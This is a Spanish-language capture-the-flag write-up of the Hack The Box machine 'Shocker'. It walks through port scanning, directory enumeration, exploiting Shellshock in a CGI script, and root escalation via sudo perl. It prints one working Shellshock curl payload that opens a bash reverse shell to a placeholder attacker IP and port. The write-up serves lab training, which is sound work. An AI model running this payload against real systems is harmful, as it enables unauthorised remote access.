Shocker | Hack The Box

En este tutorial voy a mostrar como obtuve la bandera root en la máquina Shocker de Hack The Box. Esta propiedad se presenta como un desafío de nivel fácil.

Shocker

28 de septiembre de 2024

Enumeración


Para comenzar voy a realizar un escaneo de puertos con nmap y veo que están abiertos los puertos 80 y 2222.

nmap

Voy a ingresar en el sitio web para ver de que se trata:

web

La página es muy básica y no veo nada prometedor, así que lo primero que haré es realizar una búsqueda de directorios ocultos:

gobuster

Encontré un directorio /cgi-bin/, dentro de esa carpeta se suelen almacenar scripts, así que voy a realizar otra búsqueda de directorios dentro del cgi-bin y pasando las extensiones más comunes para ese directorio:

cgi-bin directory

Y encontré el archivo /user.sh.

Investigué en internet un poco mas sobre este tipo de archivos y así entender las vulnerabilidades a las que puede estar expuesto. Encontré un articulo de Hacktreecks que me fue muy útil: https://book.hacktricks.xyz/v/es/network-services-pentesting/pentesting-web/cgi

Tal y cómo sugiere el articulo, realicé un nuevo escaneo con nmap para saber si el sitio es vulnerable a shellshock:

nmap vulnerability

Ahora voy a realizar una prueba para ver si puedo enviar comandos a este archivo y que los ejecute. Para eso voy a abrir un puerto de escucha usando tcpdump. Paralelamente en otra terminal ingreso el siguiente comando:

ping

En mi tcpdump recibo el siguiente mensaje:

tcpdump

Este mensaje termina de confirmar que el archivo es vulnerable a shellshock.

Explotación


El siguiente paso sería aprovechar esta vulnerabilidad para establecer una reverse shell. Para eso voy a abrir un puerto de escucha con netcat y en otra terminal voy a ingresar el siguiente código:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/{tu-ip}/{tu-puerto} 0>&1' http://10.10.10.56/cgi-bin/user.sh

En donde dice "tu-ip" deberías cambiarlo para la ip de tu maquina y donde dice "tu-puerto" tendrías que poner el numero de puerto de escucha de netcat.

De esta maneta logro establecer la reverse shell:

reverse shell

Una vez conectado encuentro navego por los directorios y encuentro fácilmente la bandera de usuario.

Escalada de Privilegios


Ahora solo resta escalar privilegios y encontrar las banderas user y root.

Voy a comenzar escribiendo sudo -l para sabes cuales son los archivos en los que tengo permisos de root:

sudo -l

Veo que puedo ejecutar el binario perl con privilegios de root y sin contraseña.

Para lograr escalar privilegios usando el binario perl me voy a ayudar con una herramienta llamada GPObins. La cual me muestra como escalar privilegios según cada binario.

sudo perl

Al ingresar el comando que sugiere GPObins ya obtengo el acceso root! Ahora solo resta navegar por los directorios para encontrar la bandera root.

Felicitaciones! Espero que este tutorial te haya resultado de ayuda.